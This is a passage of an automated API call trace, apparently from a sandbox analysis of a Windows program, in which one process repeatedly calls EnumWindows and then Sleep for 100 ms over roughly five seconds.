(dwMilliseconds=0x64) [0253.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.779] Sleep (dwMilliseconds=0x64) [0253.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.781] Sleep (dwMilliseconds=0x64) [0253.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.783] Sleep (dwMilliseconds=0x64) [0253.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.785] Sleep (dwMilliseconds=0x64) [0253.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.787] Sleep (dwMilliseconds=0x64) [0253.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.789] Sleep (dwMilliseconds=0x64) [0253.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.834] Sleep (dwMilliseconds=0x64) [0253.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.897] Sleep (dwMilliseconds=0x64) [0253.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.901] Sleep (dwMilliseconds=0x64) [0253.948] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.948] Sleep (dwMilliseconds=0x64) [0253.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.975] Sleep (dwMilliseconds=0x64) [0254.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.063] Sleep (dwMilliseconds=0x64) [0254.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.066] Sleep (dwMilliseconds=0x64) [0254.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.069] Sleep (dwMilliseconds=0x64) [0254.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.071] Sleep (dwMilliseconds=0x64) [0254.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.073] Sleep (dwMilliseconds=0x64) [0254.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.075] Sleep (dwMilliseconds=0x64) [0254.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.077] Sleep (dwMilliseconds=0x64) [0254.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.079] Sleep (dwMilliseconds=0x64) [0254.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.082] Sleep (dwMilliseconds=0x64) [0254.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.083] Sleep (dwMilliseconds=0x64) [0254.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.085] Sleep (dwMilliseconds=0x64) [0254.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.091] Sleep (dwMilliseconds=0x64) [0254.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.094] Sleep (dwMilliseconds=0x64) [0254.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.096] Sleep (dwMilliseconds=0x64) [0254.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.209] Sleep (dwMilliseconds=0x64) [0254.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.214] Sleep (dwMilliseconds=0x64) [0254.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.217] Sleep (dwMilliseconds=0x64) [0254.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.225] Sleep (dwMilliseconds=0x64) [0254.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.233] Sleep (dwMilliseconds=0x64) [0254.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.240] Sleep (dwMilliseconds=0x64) [0254.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.248] Sleep (dwMilliseconds=0x64) [0254.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.335] Sleep (dwMilliseconds=0x64) [0254.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.359] Sleep (dwMilliseconds=0x64) [0254.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.374] Sleep (dwMilliseconds=0x64) [0254.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.376] Sleep (dwMilliseconds=0x64) [0254.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.378] Sleep (dwMilliseconds=0x64) [0254.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.380] Sleep (dwMilliseconds=0x64) [0254.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.401] Sleep (dwMilliseconds=0x64) [0254.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.476] Sleep (dwMilliseconds=0x64) [0254.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.509] Sleep (dwMilliseconds=0x64) [0254.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.512] Sleep (dwMilliseconds=0x64) [0254.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.514] Sleep (dwMilliseconds=0x64) [0254.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.516] Sleep (dwMilliseconds=0x64) [0254.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.518] Sleep (dwMilliseconds=0x64) [0254.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.520] Sleep (dwMilliseconds=0x64) [0254.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.523] Sleep (dwMilliseconds=0x64) [0254.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.528] Sleep (dwMilliseconds=0x64) [0254.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.539] Sleep (dwMilliseconds=0x64) [0254.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.606] Sleep (dwMilliseconds=0x64) [0254.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.651] Sleep (dwMilliseconds=0x64) [0254.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.654] Sleep (dwMilliseconds=0x64) [0254.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.656] Sleep (dwMilliseconds=0x64) [0254.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.659] Sleep (dwMilliseconds=0x64) [0254.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.661] Sleep (dwMilliseconds=0x64) [0254.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.664] Sleep (dwMilliseconds=0x64) [0254.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.666] Sleep (dwMilliseconds=0x64) [0254.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.668] Sleep (dwMilliseconds=0x64) [0254.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.671] Sleep (dwMilliseconds=0x64) [0254.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.672] Sleep (dwMilliseconds=0x64) [0254.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.674] Sleep (dwMilliseconds=0x64) [0254.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.678] Sleep (dwMilliseconds=0x64) [0254.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.680] Sleep (dwMilliseconds=0x64) [0254.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.725] Sleep (dwMilliseconds=0x64) [0254.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.792] Sleep (dwMilliseconds=0x64) [0254.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.794] Sleep (dwMilliseconds=0x64) [0254.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.796] Sleep (dwMilliseconds=0x64) [0254.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.798] Sleep (dwMilliseconds=0x64) [0254.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.800] Sleep (dwMilliseconds=0x64) [0254.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.801] Sleep (dwMilliseconds=0x64) [0254.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.804] Sleep (dwMilliseconds=0x64) [0254.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.806] Sleep (dwMilliseconds=0x64) [0254.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.808] Sleep (dwMilliseconds=0x64) [0254.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.817] Sleep (dwMilliseconds=0x64) [0254.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.826] Sleep (dwMilliseconds=0x64) [0254.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0254.962] Sleep (dwMilliseconds=0x64) [0255.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.040] Sleep (dwMilliseconds=0x64) [0255.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.082] Sleep (dwMilliseconds=0x64) [0255.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.181] Sleep (dwMilliseconds=0x64) [0255.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.199] Sleep (dwMilliseconds=0x64) [0255.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.200] Sleep (dwMilliseconds=0x64) [0255.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.203] Sleep (dwMilliseconds=0x64) [0255.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.204] Sleep (dwMilliseconds=0x64) [0255.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.206] Sleep (dwMilliseconds=0x64) [0255.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.209] Sleep (dwMilliseconds=0x64) [0255.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.210] Sleep (dwMilliseconds=0x64) [0255.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.216] Sleep (dwMilliseconds=0x64) [0255.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.223] Sleep (dwMilliseconds=0x64) [0255.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.225] Sleep (dwMilliseconds=0x64) [0255.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.227] Sleep (dwMilliseconds=0x64) [0255.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.296] Sleep (dwMilliseconds=0x64) [0255.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.338] Sleep (dwMilliseconds=0x64) [0255.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.340] Sleep (dwMilliseconds=0x64) [0255.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.343] Sleep (dwMilliseconds=0x64) [0255.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.345] Sleep (dwMilliseconds=0x64) [0255.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.350] Sleep (dwMilliseconds=0x64) [0255.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.353] Sleep (dwMilliseconds=0x64) [0255.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.355] Sleep (dwMilliseconds=0x64) [0255.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.357] Sleep (dwMilliseconds=0x64) [0255.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.359] Sleep (dwMilliseconds=0x64) [0255.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.361] Sleep (dwMilliseconds=0x64) [0255.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.364] Sleep (dwMilliseconds=0x64) [0255.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.366] Sleep (dwMilliseconds=0x64) [0255.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.368] Sleep (dwMilliseconds=0x64) [0255.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.432] Sleep (dwMilliseconds=0x64) [0255.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.440] Sleep (dwMilliseconds=0x64) [0255.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.488] Sleep (dwMilliseconds=0x64) [0255.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.496] Sleep (dwMilliseconds=0x64) [0255.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.504] Sleep (dwMilliseconds=0x64) [0255.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.512] Sleep (dwMilliseconds=0x64) [0255.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.558] Sleep (dwMilliseconds=0x64) [0255.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.630] Sleep (dwMilliseconds=0x64) [0255.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.639] Sleep (dwMilliseconds=0x64) [0255.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.641] Sleep (dwMilliseconds=0x64) [0255.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.643] Sleep (dwMilliseconds=0x64) [0255.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.646] Sleep (dwMilliseconds=0x64) [0255.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.648] Sleep (dwMilliseconds=0x64) [0255.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.650] Sleep (dwMilliseconds=0x64) [0255.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.652] Sleep (dwMilliseconds=0x64) [0255.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.658] Sleep (dwMilliseconds=0x64) [0255.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.687] Sleep (dwMilliseconds=0x64) [0255.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.765] Sleep (dwMilliseconds=0x64) [0255.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.767] Sleep (dwMilliseconds=0x64) [0255.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.779] Sleep (dwMilliseconds=0x64) [0255.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.781] Sleep (dwMilliseconds=0x64) [0255.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.783] Sleep (dwMilliseconds=0x64) [0255.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.786] Sleep (dwMilliseconds=0x64) [0255.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.788] Sleep (dwMilliseconds=0x64) [0255.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.792] Sleep (dwMilliseconds=0x64) [0255.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.794] Sleep (dwMilliseconds=0x64) [0255.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.887] Sleep (dwMilliseconds=0x64) [0255.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.933] Sleep (dwMilliseconds=0x64) [0255.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0255.999] Sleep (dwMilliseconds=0x64) [0256.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.040] Sleep (dwMilliseconds=0x64) [0256.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.043] Sleep (dwMilliseconds=0x64) [0256.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.087] Sleep (dwMilliseconds=0x64) [0256.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.132] Sleep (dwMilliseconds=0x64) [0256.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.194] Sleep (dwMilliseconds=0x64) [0256.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.196] Sleep (dwMilliseconds=0x64) [0256.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.197] Sleep (dwMilliseconds=0x64) [0256.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.199] Sleep (dwMilliseconds=0x64) [0256.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.201] Sleep (dwMilliseconds=0x64) [0256.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.203] Sleep (dwMilliseconds=0x64) [0256.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.207] Sleep (dwMilliseconds=0x64) [0256.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.209] Sleep (dwMilliseconds=0x64) [0256.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.211] Sleep (dwMilliseconds=0x64) [0256.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.216] Sleep (dwMilliseconds=0x64) [0256.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.220] Sleep (dwMilliseconds=0x64) [0256.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.221] Sleep (dwMilliseconds=0x64) [0256.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.230] Sleep (dwMilliseconds=0x64) [0256.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.256] Sleep (dwMilliseconds=0x64) [0256.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.338] Sleep (dwMilliseconds=0x64) [0256.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.346] Sleep (dwMilliseconds=0x64) [0256.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.355] Sleep (dwMilliseconds=0x64) [0256.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.381] Sleep (dwMilliseconds=0x64) [0256.393] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.394] Sleep (dwMilliseconds=0x64) [0256.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.482] Sleep (dwMilliseconds=0x64) [0256.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.519] Sleep (dwMilliseconds=0x64) [0256.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.527] Sleep (dwMilliseconds=0x64) [0256.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.535] Sleep (dwMilliseconds=0x64) [0256.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.538] Sleep (dwMilliseconds=0x64) [0256.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.547] Sleep (dwMilliseconds=0x64) [0256.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.555] Sleep (dwMilliseconds=0x64) [0256.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.625] Sleep (dwMilliseconds=0x64) [0256.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.666] Sleep (dwMilliseconds=0x64) [0256.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.691] Sleep (dwMilliseconds=0x64) [0256.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.703] Sleep (dwMilliseconds=0x64) [0256.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.752] Sleep (dwMilliseconds=0x64) [0256.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.764] Sleep (dwMilliseconds=0x64) [0256.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.870] Sleep (dwMilliseconds=0x64) [0256.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0256.901] Sleep (dwMilliseconds=0x64) [0257.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.038] Sleep (dwMilliseconds=0x64) [0257.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.040] Sleep (dwMilliseconds=0x64) [0257.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.042] Sleep (dwMilliseconds=0x64) [0257.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.045] Sleep (dwMilliseconds=0x64) [0257.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.047] Sleep (dwMilliseconds=0x64) [0257.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.049] Sleep (dwMilliseconds=0x64) [0257.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.051] Sleep (dwMilliseconds=0x64) [0257.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.053] Sleep (dwMilliseconds=0x64) [0257.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.056] Sleep (dwMilliseconds=0x64) [0257.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.064] Sleep (dwMilliseconds=0x64) [0257.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.072] Sleep (dwMilliseconds=0x64) [0257.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.076] Sleep (dwMilliseconds=0x64) [0257.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.083] Sleep (dwMilliseconds=0x64) [0257.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.190] Sleep (dwMilliseconds=0x64) [0257.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.198] Sleep (dwMilliseconds=0x64) [0257.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.212] Sleep (dwMilliseconds=0x64) [0257.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.221] Sleep (dwMilliseconds=0x64) [0257.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.228] Sleep (dwMilliseconds=0x64) [0257.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.230] Sleep (dwMilliseconds=0x64) [0257.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.309] Sleep (dwMilliseconds=0x64) [0257.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.417] Sleep (dwMilliseconds=0x64) [0257.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.460] Sleep (dwMilliseconds=0x64) [0257.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.465] Sleep (dwMilliseconds=0x64) [0257.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.467] Sleep (dwMilliseconds=0x64) [0257.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.472] Sleep (dwMilliseconds=0x64) [0257.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.480] Sleep (dwMilliseconds=0x64) [0257.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.488] Sleep (dwMilliseconds=0x64) [0257.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.495] Sleep (dwMilliseconds=0x64) [0257.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.556] Sleep (dwMilliseconds=0x64) [0257.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.564] Sleep (dwMilliseconds=0x64) [0257.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.614] Sleep (dwMilliseconds=0x64) [0257.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.680] Sleep (dwMilliseconds=0x64) [0257.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.688] Sleep (dwMilliseconds=0x64) [0257.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.763] Sleep (dwMilliseconds=0x64) [0257.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.765] Sleep (dwMilliseconds=0x64) [0257.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.768] Sleep (dwMilliseconds=0x64) [0257.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.770] Sleep (dwMilliseconds=0x64) [0257.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.772] Sleep (dwMilliseconds=0x64) [0257.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.774] Sleep (dwMilliseconds=0x64) [0257.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.776] Sleep (dwMilliseconds=0x64) [0257.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.793] Sleep (dwMilliseconds=0x64) [0257.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.797] Sleep (dwMilliseconds=0x64) [0257.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.882] Sleep (dwMilliseconds=0x64) [0257.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.979] Sleep (dwMilliseconds=0x64) [0257.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.981] Sleep (dwMilliseconds=0x64) [0257.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.983] Sleep (dwMilliseconds=0x64) [0257.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.985] Sleep (dwMilliseconds=0x64) [0257.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0257.997] Sleep (dwMilliseconds=0x64) [0258.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.002] Sleep (dwMilliseconds=0x64) [0258.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.003] Sleep (dwMilliseconds=0x64) [0258.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.006] Sleep (dwMilliseconds=0x64) [0258.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.089] Sleep (dwMilliseconds=0x64) [0258.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.120] Sleep (dwMilliseconds=0x64) [0258.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.121] Sleep (dwMilliseconds=0x64) [0258.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.131] Sleep (dwMilliseconds=0x64) [0258.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.139] Sleep (dwMilliseconds=0x64) [0258.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.146] Sleep (dwMilliseconds=0x64) [0258.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.153] Sleep (dwMilliseconds=0x64) [0258.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.205] Sleep (dwMilliseconds=0x64) [0258.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.213] Sleep (dwMilliseconds=0x64) [0258.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.273] Sleep (dwMilliseconds=0x64) [0258.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.276] Sleep (dwMilliseconds=0x64) [0258.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.278] Sleep (dwMilliseconds=0x64) [0258.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.280] Sleep (dwMilliseconds=0x64) [0258.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.282] Sleep (dwMilliseconds=0x64) [0258.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.291] Sleep (dwMilliseconds=0x64) [0258.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.299] Sleep 